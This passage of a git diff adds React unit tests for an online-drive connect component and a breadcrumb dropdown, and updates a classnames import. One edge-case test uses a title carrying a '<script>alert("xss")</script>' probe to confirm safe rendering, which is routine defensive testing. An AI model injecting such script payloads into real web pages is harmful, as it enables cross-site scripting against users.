+          datasource_label: 'Label',
+          datasource_parameters: {},
+          datasource_configurations: {},
+        } as DataSourceNodeType
+        const props = createDefaultProps({ nodeData: minimalNodeData })
+
+        // Act
+        render(<Connect {...props} />)
+
+        // Assert
+        expect(screen.getByRole('button')).toBeInTheDocument()
+      })
+
+      it('should handle empty plugin_id', () => {
+        // Arrange
+        const props = createDefaultProps({
+          nodeData: createMockNodeData({ plugin_id: '' }),
+        })
+
+        // Act
+        render(<Connect {...props} />)
+
+        // Assert
+        expect(screen.getByRole('button')).toBeInTheDocument()
+      })
+    })
+
+    describe('Special Characters', () => {
+      it('should handle special characters in title', () => {
+        // Arrange
+        const props = createDefaultProps({
+          nodeData: createMockNodeData({ title: 'Drive <script>alert("xss")</script>' }),
+        })
+
+        // Act
+        render(<Connect {...props} />)
+
+        // Assert - Should render safely without executing script
+        expect(screen.getByRole('button')).toBeInTheDocument()
+      })
+
+      it('should handle unicode characters in title', () => {
+        // Arrange
+        const props = createDefaultProps({
+          nodeData: createMockNodeData({ title: '云盘存储 🌐' }),
+        })
+
+        // Act
+        render(<Connect {...props} />)
+
+        // Assert
+        expect(screen.getByRole('button')).toBeInTheDocument()
+      })
+
+      it('should handle very long title', () => {
+        // Arrange
+        const longTitle = 'A'.repeat(500)
+        const props = createDefaultProps({
+          nodeData: createMockNodeData({ title: longTitle }),
+        })
+
+        // Act
+        render(<Connect {...props} />)
+
+        // Assert
+        expect(screen.getByRole('button')).toBeInTheDocument()
+      })
+    })
+
+    describe('Icon Variations', () => {
+      it('should handle string icon URL', () => {
+        // Arrange
+        mockUseToolIcon.mockReturnValue('https://cdn.example.com/icon.png')
+        const props = createDefaultProps()
+
+        // Act
+        render(<Connect {...props} />)
+
+        // Assert
+        expect(screen.getByRole('button')).toBeInTheDocument()
+      })
+
+      it('should handle object icon with url property', () => {
+        // Arrange
+        mockUseToolIcon.mockReturnValue({ url: 'https://cdn.example.com/icon.png' })
+        const props = createDefaultProps()
+
+        // Act
+        render(<Connect {...props} />)
+
+        // Assert
+        expect(screen.getByRole('button')).toBeInTheDocument()
+      })
+
+      it('should handle null icon', () => {
+        // Arrange
+        mockUseToolIcon.mockReturnValue(null)
+        const props = createDefaultProps()
+
+        // Act
+        render(<Connect {...props} />)
+
+        // Assert
+        expect(screen.getByRole('button')).toBeInTheDocument()
+      })
+    })
+  })
+
+  // ==========================================
+  // All Prop Variations Tests
+  // ==========================================
+  describe('Prop Variations', () => {
+    it.each([
+      { title: 'Google Drive', plugin_id: 'google-drive' },
+      { title: 'Dropbox', plugin_id: 'dropbox' },
+      { title: 'OneDrive', plugin_id: 'onedrive' },
+      { title: 'Amazon S3', plugin_id: 's3' },
+      { title: 'Box', plugin_id: 'box' },
+    ])('should render correctly with title=$title and plugin_id=$plugin_id', ({ title, plugin_id }) => {
+      // Arrange
+      const props = createDefaultProps({
+        nodeData: createMockNodeData({ title, plugin_id }),
+      })
+
+      // Act
+      render(<Connect {...props} />)
+
+      // Assert
+      expect(screen.getByRole('button')).toBeInTheDocument()
+      expect(mockUseToolIcon).toHaveBeenCalledWith(
+        expect.objectContaining({ title, plugin_id }),
+      )
+    })
+
+    it.each([
+      { provider_type: 'online_drive' },
+      { provider_type: 'cloud_storage' },
+      { provider_type: 'file_system' },
+    ])('should render correctly with provider_type=$provider_type', ({ provider_type }) => {
+      // Arrange
+      const props = createDefaultProps({
+        nodeData: createMockNodeData({ provider_type }),
+      })
+
+      // Act
+      render(<Connect {...props} />)
+
+      // Assert
+      expect(screen.getByRole('button')).toBeInTheDocument()
+    })
+
+    it.each([
+      { datasource_label: 'Google Drive Storage' },
+      { datasource_label: 'Dropbox Files' },
+      { datasource_label: '' },
+      { datasource_label: 'S3 Bucket' },
+    ])('should render correctly with datasource_label=$datasource_label', ({ datasource_label }) => {
+      // Arrange
+      const props = createDefaultProps({
+        nodeData: createMockNodeData({ datasource_label }),
+      })
+
+      // Act
+      render(<Connect {...props} />)
+
+      // Assert
+      expect(screen.getByRole('button')).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Accessibility Tests
+  // ==========================================
+  describe('Accessibility', () => {
+    it('should have an accessible button', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<Connect {...props} />)
+
+      // Assert - Button should be accessible by role
+      expect(screen.getByRole('button')).toBeInTheDocument()
+    })
+
+    it('should have proper text content for screen readers', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<Connect {...props} />)
+
+      // Assert - Text content should be present
+      const messages = screen.getAllByText(/datasetPipeline\.onlineDrive\.notConnected/)
+      expect(messages.length).toBe(2) // Both notConnected and notConnectedTip
+    })
+  })
+})
diff --git a/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/header/breadcrumbs/bucket.tsx b/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/header/breadcrumbs/bucket.tsx
index a9d2e769ad..291d9088a6 100644
--- a/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/header/breadcrumbs/bucket.tsx
+++ b/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/header/breadcrumbs/bucket.tsx
@@ -2,7 +2,7 @@ import React, { useCallback } from 'react'
 import { BucketsGray } from '@/app/components/base/icons/src/public/knowledge/online-drive'
 import Tooltip from '@/app/components/base/tooltip'
 import { useTranslation } from 'react-i18next'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type BucketProps = {
   bucketName: string
diff --git a/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/header/breadcrumbs/drive.tsx b/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/header/breadcrumbs/drive.tsx
index 096dc5c232..78ba1d56de 100644
--- a/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/header/breadcrumbs/drive.tsx
+++ b/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/header/breadcrumbs/drive.tsx
@@ -1,5 +1,5 @@
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useTranslation } from 'react-i18next'
 
 type DriveProps = {
diff --git a/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/header/breadcrumbs/dropdown/index.spec.tsx b/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/header/breadcrumbs/dropdown/index.spec.tsx
new file mode 100644
index 0000000000..887ca856cc
--- /dev/null
+++ b/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/header/breadcrumbs/dropdown/index.spec.tsx
@@ -0,0 +1,865 @@
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import React from 'react'
+import Dropdown from './index'
+
+// ==========================================
+// Note: react-i18next uses global mock from web/__mocks__/react-i18next.ts
+// ==========================================
+
+// ==========================================
+// Test Data Builders
+// ==========================================
+type DropdownProps = React.ComponentProps<typeof Dropdown>
+
+const createDefaultProps = (overrides?: Partial<DropdownProps>): DropdownProps => ({
+  startIndex: 0,
+  breadcrumbs: ['folder1', 'folder2'],
+  onBreadcrumbClick: jest.fn(),
+  ...overrides,
+})
+
+// ==========================================
+// Test Suites
+// ==========================================
+describe('Dropdown', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // ==========================================
+  // Rendering Tests
+  // ==========================================
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<Dropdown {...props} />)
+
+      // Assert - Trigger button should be visible
+      expect(screen.getByRole('button')).toBeInTheDocument()
+    })
+
+    it('should render trigger button with more icon', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = render(<Dropdown {...props} />)
+
+      // Assert - Button should have RiMoreFill icon (rendered as svg)
+      const button = screen.getByRole('button')
+      expect(button).toBeInTheDocument()
+      expect(container.querySelector('svg')).toBeInTheDocument()
+    })
+
+    it('should render separator after dropdown', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<Dropdown {...props} />)
+
+      // Assert - Separator "/" should be visible
+      expect(screen.getByText('/')).toBeInTheDocument()
+    })
+
+    it('should render trigger button with correct default styles', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<Dropdown {...props} />)
+
+      // Assert
+      const button = screen.getByRole('button')
+      expect(button).toHaveClass('flex')
+      expect(button).toHaveClass('size-6')
+      expect(button).toHaveClass('items-center')
+      expect(button).toHaveClass('justify-center')
+      expect(button).toHaveClass('rounded-md')
+    })
+
+    it('should not render menu content when closed', () => {
+      // Arrange
+      const props = createDefaultProps({ breadcrumbs: ['visible-folder'] })
+
+      // Act
+      render(<Dropdown {...props} />)
+
+      // Assert - Menu content should not be visible when dropdown is closed
+      expect(screen.queryByText('visible-folder')).not.toBeInTheDocument()
+    })
+
+    it('should render menu content when opened', async () => {
+      // Arrange
+      const props = createDefaultProps({ breadcrumbs: ['test-folder1', 'test-folder2'] })
+      render(<Dropdown {...props} />)
+
+      // Act - Open dropdown
+      fireEvent.click(screen.getByRole('button'))
+
+      // Assert - Menu items should be visible
+      await waitFor(() => {
+        expect(screen.getByText('test-folder1')).toBeInTheDocument()
+        expect(screen.getByText('test-folder2')).toBeInTheDocument()
+      })
+    })
+  })
+
+  // ==========================================
+  // Props Testing
+  // ==========================================
+  describe('Props', () => {
+    describe('startIndex prop', () => {
+      it('should pass startIndex to Menu component', async () => {
+        // Arrange
+        const mockOnBreadcrumbClick = jest.fn()
+        const props = createDefaultProps({
+          startIndex: 5,
+          breadcrumbs: ['folder1'],
+          onBreadcrumbClick: mockOnBreadcrumbClick,
+        })
+        render(<Dropdown {...props} />)
+
+        // Act - Open dropdown and click on item
+        fireEvent.click(screen.getByRole('button'))
+
+        await waitFor(() => {
+          expect(screen.getByText('folder1')).toBeInTheDocument()
+        })
+
+        fireEvent.click(screen.getByText('folder1'))
+
+        // Assert - Should be called with startIndex (5) + item index (0) = 5
+        expect(mockOnBreadcrumbClick).toHaveBeenCalledWith(5)
+      })
+
+      it('should calculate correct index for second item', async () => {
+        // Arrange
+        const mockOnBreadcrumbClick = jest.fn()
+        const props = createDefaultProps({
+          startIndex: 3,
+          breadcrumbs: ['folder1', 'folder2'],
+          onBreadcrumbClick: mockOnBreadcrumbClick,
+        })
+        render(<Dropdown {...props} />)
+
+        // Act - Open dropdown and click on second item
+        fireEvent.click(screen.getByRole('button'))
+
+        await waitFor(() => {
+          expect(screen.getByText('folder2')).toBeInTheDocument()
+        })
+
+        fireEvent.click(screen.getByText('folder2'))
+
+        // Assert - Should be called with startIndex (3) + item index (1) = 4
+        expect(mockOnBreadcrumbClick).toHaveBeenCalledWith(4)
+      })
+    })
+
+    describe('breadcrumbs prop', () => {
+      it('should render all breadcrumbs in menu', async () => {
+        // Arrange
+        const props = createDefaultProps({
+          breadcrumbs: ['folder-a', 'folder-b', 'folder-c'],
+        })
+        render(<Dropdown {...props} />)
+
+        // Act
+        fireEvent.click(screen.getByRole('button'))
+
+        // Assert
+        await waitFor(() => {
+          expect(screen.getByText('folder-a')).toBeInTheDocument()
+          expect(screen.getByText('folder-b')).toBeInTheDocument()
+          expect(screen.getByText('folder-c')).toBeInTheDocument()
+        })
+      })
+
+      it('should handle single breadcrumb', async () => {
+        // Arrange
+        const props = createDefaultProps({
+          breadcrumbs: ['single-folder'],
+        })
+        render(<Dropdown {...props} />)
+
+        // Act
+        fireEvent.click(screen.getByRole('button'))
+
+        // Assert
+        await waitFor(() => {
+          expect(screen.getByText('single-folder')).toBeInTheDocument()
+        })
+      })
+
+      it('should handle empty breadcrumbs array', async () => {
+        // Arrange
+        const props = createDefaultProps({
+          breadcrumbs: [],
+        })
+        render(<Dropdown {...props} />)
+
+        // Act
+        fireEvent.click(screen.getByRole('button'))
+
+        // Assert - Menu should be rendered but with no items
+        await waitFor(() => {
+          // The menu container should exist but be empty
+          expect(screen.getByRole('button')).toBeInTheDocument()
+        })
+      })
+
+      it('should handle breadcrumbs with special characters', async () => {
+        // Arrange
+        const props = createDefaultProps({
+          breadcrumbs: ['folder [1]', 'folder (copy)', 'folder-v2.0'],
+        })
+        render(<Dropdown {...props} />)
+
+        // Act
+        fireEvent.click(screen.getByRole('button'))
+
+        // Assert
+        await waitFor(() => {
+          expect(screen.getByText('folder [1]')).toBeInTheDocument()
+          expect(screen.getByText('folder (copy)')).toBeInTheDocument()
+          expect(screen.getByText('folder-v2.0')).toBeInTheDocument()
+        })
+      })
+
+      it('should handle breadcrumbs with unicode characters', async () => {
+        // Arrange
+        const props = createDefaultProps({
+          breadcrumbs: ['文件夹', 'フォルダ', 'Папка'],
+        })
+        render(<Dropdown {...props} />)
+
+        // Act
+        fireEvent.click(screen.getByRole('button'))
+
+        // Assert
+        await waitFor(() => {
+          expect(screen.getByText('文件夹')).toBeInTheDocument()
+          expect(screen.getByText('フォルダ')).toBeInTheDocument()
+          expect(screen.getByText('Папка')).toBeInTheDocument()
+        })
+      })
+    })
+
+    describe('onBreadcrumbClick prop', () => {
+      it('should call onBreadcrumbClick with correct index when item clicked', async () => {
+        // Arrange
+        const mockOnBreadcrumbClick = jest.fn()
+        const props = createDefaultProps({
+          startIndex: 0,
+          breadcrumbs: ['folder1'],
+          onBreadcrumbClick: mockOnBreadcrumbClick,
+        })
+        render(<Dropdown {...props} />)
+
+        // Act
+        fireEvent.click(screen.getByRole('button'))
+
+        await waitFor(() => {
+          expect(screen.getByText('folder1')).toBeInTheDocument()
+        })
+
+        fireEvent.click(screen.getByText('folder1'))
+
+        // Assert
+        expect(mockOnBreadcrumbClick).toHaveBeenCalledWith(0)
+        expect(mockOnBreadcrumbClick).toHaveBeenCalledTimes(1)
+      })
+    })
+  })
+
+  // ==========================================
+  // State Management Tests
+  // ==========================================
+  describe('State Management', () => {
+    describe('open state', () => {
+      it('should initialize with closed state', () => {
+        // Arrange
+        const props = createDefaultProps({ breadcrumbs: ['test-folder'] })
+
+        // Act
+        render(<Dropdown {...props} />)
+
+        // Assert - Menu content should not be visible
+        expect(screen.queryByText('test-folder')).not.toBeInTheDocument()
+      })
+
+      it('should toggle to open state when trigger is clicked', async () => {
+        // Arrange
+        const props = createDefaultProps({ breadcrumbs: ['test-folder'] })
+        render(<Dropdown {...props} />)
+
+        // Act
+        fireEvent.click(screen.getByRole('button'))
+
+        // Assert
+        await waitFor(() => {
+          expect(screen.getByText('test-folder')).toBeInTheDocument()
+        })
+      })
+
+      it('should toggle to closed state when trigger is clicked again', async () => {
+        // Arrange
+        const props = createDefaultProps({ breadcrumbs: ['test-folder'] })
+        render(<Dropdown {...props} />)
+
+        // Act - Open and then close
+        fireEvent.click(screen.getByRole('button'))
+        await waitFor(() => {
+          expect(screen.getByText('test-folder')).toBeInTheDocument()
+        })
+
+        fireEvent.click(screen.getByRole('button'))
+
+        // Assert
+        await waitFor(() => {
+          expect(screen.queryByText('test-folder')).not.toBeInTheDocument()
+        })
+      })
+
+      it('should close when breadcrumb item is clicked', async () => {
+        // Arrange
+        const mockOnBreadcrumbClick = jest.fn()
+        const props = createDefaultProps({
+          breadcrumbs: ['test-folder'],
+          onBreadcrumbClick: mockOnBreadcrumbClick,
+        })
+        render(<Dropdown {...props} />)
+
+        // Act - Open dropdown
+        fireEvent.click(screen.getByRole('button'))
+
+        await waitFor(() => {
+          expect(screen.getByText('test-folder')).toBeInTheDocument()
+        })
+
+        // Click on breadcrumb item
+        fireEvent.click(screen.getByText('test-folder'))
+
+        // Assert - Menu should close
+        await waitFor(() => {
+          expect(screen.queryByText('test-folder')).not.toBeInTheDocument()
+        })
+      })
+
+      it('should apply correct button styles based on open state', async () => {
+        // Arrange
+        const props = createDefaultProps({ breadcrumbs: ['test-folder'] })
+        render(<Dropdown {...props} />)
+        const button = screen.getByRole('button')
+
+        // Assert - Initial state (closed): should have hover:bg-state-base-hover
+        expect(button).toHaveClass('hover:bg-state-base-hover')
+
+        // Act - Open dropdown
+        fireEvent.click(button)
+
+        // Assert - Open state: should have bg-state-base-hover
+        await waitFor(() => {
+          expect(button).toHaveClass('bg-state-base-hover')
+        })
+      })
+    })
+  })
+
+  // ==========================================
+  // Event Handlers Tests
+  // ==========================================
+  describe('Event Handlers', () => {
+    describe('handleTrigger', () => {
+      it('should toggle open state when trigger is clicked', async () => {
+        // Arrange
+        const props = createDefaultProps({ breadcrumbs: ['folder'] })
+        render(<Dropdown {...props} />)
+
+        // Act & Assert - Initially closed
+        expect(screen.queryByText('folder')).not.toBeInTheDocument()
+
+        // Act - Click to open
+        fireEvent.click(screen.getByRole('button'))
+
+        // Assert - Now open
+        await waitFor(() => {
+          expect(screen.getByText('folder')).toBeInTheDocument()
+        })
+      })
+
+      it('should toggle multiple times correctly', async () => {
+        // Arrange
+        const props = createDefaultProps({ breadcrumbs: ['folder'] })
+        render(<Dropdown {...props} />)
+        const button = screen.getByRole('button')
+
+        // Act & Assert - Toggle multiple times
+        // 1st click - open
+        fireEvent.click(button)
+        await waitFor(() => {
+          expect(screen.getByText('folder')).toBeInTheDocument()
+        })
+
+        // 2nd click - close
+        fireEvent.click(button)
+        await waitFor(() => {
+          expect(screen.queryByText('folder')).not.toBeInTheDocument()
+        })
+
+        // 3rd click - open again
+        fireEvent.click(button)
+        await waitFor(() => {
+          expect(screen.getByText('folder')).toBeInTheDocument()
+        })
+      })
+    })
+
+    describe('handleBreadCrumbClick', () => {
+      it('should call onBreadcrumbClick and close menu', async () => {
+        // Arrange
+        const mockOnBreadcrumbClick = jest.fn()
+        const props = createDefaultProps({
+          breadcrumbs: ['folder1'],
+          onBreadcrumbClick: mockOnBreadcrumbClick,
+        })
+        render(<Dropdown {...props} />)
+
+        // Act - Open dropdown
+        fireEvent.click(screen.getByRole('button'))
+
+        await waitFor(() => {
+          expect(screen.getByText('folder1')).toBeInTheDocument()
+        })
+
+        // Click on breadcrumb
+        fireEvent.click(screen.getByText('folder1'))
+
+        // Assert
+        expect(mockOnBreadcrumbClick).toHaveBeenCalledTimes(1)
+
+        // Menu should close
+        await waitFor(() => {
+          expect(screen.queryByText('folder1')).not.toBeInTheDocument()
+        })
+      })
+
+      it('should pass correct index to onBreadcrumbClick for each item', async () => {
+        // Arrange
+        const mockOnBreadcrumbClick = jest.fn()
+        const props = createDefaultProps({
+          startIndex: 2,
+          breadcrumbs: ['folder1', 'folder2', 'folder3'],
+          onBreadcrumbClick: mockOnBreadcrumbClick,
+        })
+        render(<Dropdown {...props} />)
+
+        // Act - Open dropdown and click first item
+        fireEvent.click(screen.getByRole('button'))
+
+        await waitFor(() => {
+          expect(screen.getByText('folder1')).toBeInTheDocument()
+        })
+
+        fireEvent.click(screen.getByText('folder1'))
+
+        // Assert - Index should be startIndex (2) + item index (0) = 2
+        expect(mockOnBreadcrumbClick).toHaveBeenCalledWith(2)
+      })
+    })
+  })
+
+  // ==========================================
+  // Callback Stability and Memoization Tests
+  // ==========================================
+  describe('Callback Stability and Memoization', () => {
+    it('should be wrapped with React.memo', () => {
+      // Assert - Dropdown component should be memoized
+      expect(Dropdown).toHaveProperty('$$typeof', Symbol.for('react.memo'))
+    })
+
+    it('should maintain stable callback after rerender with same props', async () => {
+      // Arrange
+      const mockOnBreadcrumbClick = jest.fn()
+      const props = createDefaultProps({
+        breadcrumbs: ['folder'],
+        onBreadcrumbClick: mockOnBreadcrumbClick,
+      })
+      const { rerender } = render(<Dropdown {...props} />)
+
+      // Act - Open and click
+      fireEvent.click(screen.getByRole('button'))
+      await waitFor(() => {
+        expect(screen.getByText('folder')).toBeInTheDocument()
+      })
+      fireEvent.click(screen.getByText('folder'))
+
+      // Rerender with same props and click again
+      rerender(<Dropdown {...props} />)
+      fireEvent.click(screen.getByRole('button'))
+      await waitFor(() => {
+        expect(screen.getByText('folder')).toBeInTheDocument()
+      })
+      fireEvent.click(screen.getByText('folder'))
+
+      // Assert
+      expect(mockOnBreadcrumbClick).toHaveBeenCalledTimes(2)
+    })
+
+    it('should update callback when onBreadcrumbClick prop changes', async () => {
+      // Arrange
+      const mockOnBreadcrumbClick1 = jest.fn()
+      const mockOnBreadcrumbClick2 = jest.fn()
+      const props = createDefaultProps({
+        breadcrumbs: ['folder'],
+        onBreadcrumbClick: mockOnBreadcrumbClick1,
+      })
+      const { rerender } = render(<Dropdown {...props} />)
+
+      // Act - Open and click with first callback
+      fireEvent.click(screen.getByRole('button'))
+      await waitFor(() => {
+        expect(screen.getByText('folder')).toBeInTheDocument()
+      })
+      fireEvent.click(screen.getByText('folder'))
+
+      // Rerender with different callback
+      rerender(<Dropdown {...createDefaultProps({
+        breadcrumbs: ['folder'],
+        onBreadcrumbClick: mockOnBreadcrumbClick2,
+      })} />)
+
+      // Open and click with second callback
+      fireEvent.click(screen.getByRole('button'))
+      await waitFor(() => {
+        expect(screen.getByText('folder')).toBeInTheDocument()
+      })
+      fireEvent.click(screen.getByText('folder'))
+
+      // Assert
+      expect(mockOnBreadcrumbClick1).toHaveBeenCalledTimes(1)
+      expect(mockOnBreadcrumbClick2).toHaveBeenCalledTimes(1)
+    })
+
+    it('should not re-render when props are the same', () => {
+      // Arrange
+      const props = createDefaultProps()
+      const { rerender } = render(<Dropdown {...props} />)
+
+      // Act - Rerender with same props
+      rerender(<Dropdown {...props} />)
+
+      // Assert - Component should render without errors
+      expect(screen.getByRole('button')).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Edge Cases and Error Handling
+  // ==========================================
+  describe('Edge Cases and Error Handling', () => {
+    it('should handle rapid toggle clicks', async () => {
+      // Arrange
+      const props = createDefaultProps({ breadcrumbs: ['folder'] })
+      render(<Dropdown {...props} />)
+      const button = screen.getByRole('button')
+
+      // Act - Rapid clicks
+      fireEvent.click(button)
+      fireEvent.click(button)
+      fireEvent.click(button)
+
+      // Assert - Should handle gracefully (open after odd number of clicks)
+      await waitFor(() => {
+        expect(screen.getByText('folder')).toBeInTheDocument()
+      })
+    })
+
+    it('should handle very long folder names', async () => {
+      // Arrange
+      const longName = 'a'.repeat(100)
+      const props = createDefaultProps({
+        breadcrumbs: [longName],
+      })
+      render(<Dropdown {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByRole('button'))
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText(longName)).toBeInTheDocument()
+      })
+    })
+
+    it('should handle many breadcrumbs', async () => {
+      // Arrange
+      const manyBreadcrumbs = Array.from({ length: 20 }, (_, i) => `folder-${i}`)
+      const props = createDefaultProps({
+        breadcrumbs: manyBreadcrumbs,
+      })
+      render(<Dropdown {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByRole('button'))
+
+      // Assert - First and last items should be visible
+      await waitFor(() => {
+        expect(screen.getByText('folder-0')).toBeInTheDocument()
+        expect(screen.getByText('folder-19')).toBeInTheDocument()
+      })
+    })
+
+    it('should handle startIndex of 0', async () => {
+      // Arrange
+      const mockOnBreadcrumbClick = jest.fn()
+      const props = createDefaultProps({
+        startIndex: 0,
+        breadcrumbs: ['folder'],
+        onBreadcrumbClick: mockOnBreadcrumbClick,
+      })
+      render(<Dropdown {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByRole('button'))
+      await waitFor(() => {
+        expect(screen.getByText('folder')).toBeInTheDocument()
+      })
+      fireEvent.click(screen.getByText('folder'))
+
+      // Assert
+      expect(mockOnBreadcrumbClick).toHaveBeenCalledWith(0)
+    })
+
+    it('should handle large startIndex values', async () => {
+      // Arrange
+      const mockOnBreadcrumbClick = jest.fn()
+      const props = createDefaultProps({
+        startIndex: 999,
+        breadcrumbs: ['folder'],
+        onBreadcrumbClick: mockOnBreadcrumbClick,
+      })
+      render(<Dropdown {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByRole('button'))
+      await waitFor(() => {
+        expect(screen.getByText('folder')).toBeInTheDocument()
+      })
+      fireEvent.click(screen.getByText('folder'))
+
+      // Assert
+      expect(mockOnBreadcrumbClick).toHaveBeenCalledWith(999)
+    })
+
+    it('should handle breadcrumbs with whitespace-only names', async () => {
+      // Arrange
+      const props = createDefaultProps({
+        breadcrumbs: ['   ', 'normal-folder'],
+      })
+      render(<Dropdown {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByRole('button'))
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText('normal-folder')).toBeInTheDocument()
+      })
+    })
+
+    it('should handle breadcrumbs with empty string', async () => {
+      // Arrange
+      const props = createDefaultProps({
+        breadcrumbs: ['', 'folder'],
+      })
+      render(<Dropdown {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByRole('button'))
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText('folder')).toBeInTheDocument()
+      })
+    })
+  })
+
+  // ==========================================
+  // All Prop Variations Tests
+  // ==========================================
+  describe('Prop Variations', () => {
+    it.each([
+      { startIndex: 0, breadcrumbs: ['a'], expectedIndex: 0 },
+      { startIndex: 1, breadcrumbs: ['a'], expectedIndex: 1 },
+      { startIndex: 5, breadcrumbs: ['a'], expectedIndex: 5 },
+      { startIndex: 10, breadcrumbs: ['a', 'b'], expectedIndex: 10 },
+    ])('should handle startIndex=$startIndex correctly', async ({ startIndex, breadcrumbs, expectedIndex }) => {
+      // Arrange
+      const mockOnBreadcrumbClick = jest.fn()
+      const props = createDefaultProps({
+        startIndex,
+        breadcrumbs,
+        onBreadcrumbClick: mockOnBreadcrumbClick,
+      })
+      render(<Dropdown {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByRole('button'))
+      await waitFor(() => {
+        expect(screen.getByText(breadcrumbs[0])).toBeInTheDocument()
+      })
+      fireEvent.click(screen.getByText(breadcrumbs[0]))
+
+      // Assert
+      expect(mockOnBreadcrumbClick).toHaveBeenCalledWith(expectedIndex)
+    })
+
+    it.each([
+      { breadcrumbs: [], description: 'empty array' },
+      { breadcrumbs: ['single'], description: 'single item' },
+      { breadcrumbs: ['a', 'b'], description: 'two items' },
+      { breadcrumbs: ['a', 'b', 'c', 'd', 'e'], description: 'five items' },
+    ])('should render correctly with $description breadcrumbs', async ({ breadcrumbs }) => {
+      // Arrange
+      const props = createDefaultProps({ breadcrumbs })
+
+      // Act
+      render(<Dropdown {...props} />)
+      fireEvent.click(screen.getByRole('button'))
+
+      // Assert - Should render without errors
+      await waitFor(() => {
+        if (breadcrumbs.length > 0)
+          expect(screen.getByText(breadcrumbs[0])).toBeInTheDocument()
+      })
+    })
+  })
+
+  // ==========================================
+  // Integration Tests (Menu and Item)
+  // ==========================================
+  describe('Integration with Menu and Item', () => {
+    it('should render all menu items with correct content', async () => {
+      // Arrange
+      const props = createDefaultProps({
+        breadcrumbs: ['Documents', 'Projects', 'Archive'],
+      })
+      render(<Dropdown {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByRole('button'))
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText('Documents')).toBeInTheDocument()
+        expect(screen.getByText('Projects')).toBeInTheDocument()
+        expect(screen.getByText('Archive')).toBeInTheDocument()
+      })
+    })
+
+    it('should handle click on any menu item', async () => {
+      // Arrange
+      const mockOnBreadcrumbClick = jest.fn()
+      const props = createDefaultProps({
+        startIndex: 0,
+        breadcrumbs: ['first', 'second', 'third'],
+        onBreadcrumbClick: mockOnBreadcrumbClick,
+      })
+      render(<Dropdown {...props} />)
+
+      // Act - Open and click on second item
+      fireEvent.click(screen.getByRole('button'))
+      await waitFor(() => {
+        expect(screen.getByText('second')).toBeInTheDocument()
+      })
+      fireEvent.click(screen.getByText('second'))
+
+      // Assert - Index should be 1 (second item)
+      expect(mockOnBreadcrumbClick).toHaveBeenCalledWith(1)
+    })
+
+    it('should close menu after any item click', async () => {
+      // Arrange
+      const mockOnBreadcrumbClick = jest.fn()
+      const props = createDefaultProps({
+        breadcrumbs: ['item1', 'item2', 'item3'],
+        onBreadcrumbClick: mockOnBreadcrumbClick,
+      })
+      render(<Dropdown {...props} />)
+
+      // Act - Open and click on middle item
+      fireEvent.click(screen.getByRole('button'))
+      await waitFor(() => {
+        expect(screen.getByText('item2')).toBeInTheDocument()
+      })
+      fireEvent.click(screen.getByText('item2'))
+
+      // Assert - Menu should close
+      await waitFor(() => {
+        expect(screen.queryByText('item1')).not.toBeInTheDocument()
+        expect(screen.queryByText('item2')).not.toBeInTheDocument()
+        expect(screen.queryByText('item3')).not.toBeInTheDocument()
+      })
+    })
+
+    it('should correctly calculate index for each item based on startIndex', async () => {
+      // Arrange
+      const mockOnBreadcrumbClick = jest.fn()
+      const props = createDefaultProps({
+        startIndex: 3,
+        breadcrumbs: ['folder-a', 'folder-b', 'folder-c'],
+        onBreadcrumbClick: mockOnBreadcrumbClick,
+      })
+
+      // Test clicking each item
+      for (let i = 0; i < 3; i++) {
+        mockOnBreadcrumbClick.mockClear()
+        const { unmount } = render(<Dropdown {...props} />)
+
+        fireEvent.click(screen.getByRole('button'))
+        await waitFor(() => {
+          expect(screen.getByText(`folder-${String.fromCharCode(97 + i)}`)).toBeInTheDocument()
+        })
+        fireEvent.click(screen.getByText(`folder-${String.fromCharCode(97 + i)}`))
+
+        expect(mockOnBreadcrumbClick).toHaveBeenCalledWith(3 + i)
+        unmount()
+      }
+    })
+  })
+
+  // ==========================================
+  // Accessibility Tests
+  // ==========================================
+  describe('Accessibility', () => {
+    it('should render trigger as button element', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<Dropdown {...props} />)
+
+      // Assert
+      const button = screen.getByRole('button')
+      expect(button).toBeInTheDocument()
+      expect(button.tagName).toBe('BUTTON')
+    })
+
+    it('should have type="button" attribute', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<Dropdown {...props} />)
+
+      // Assert
+      const button = screen.getByRole('button')
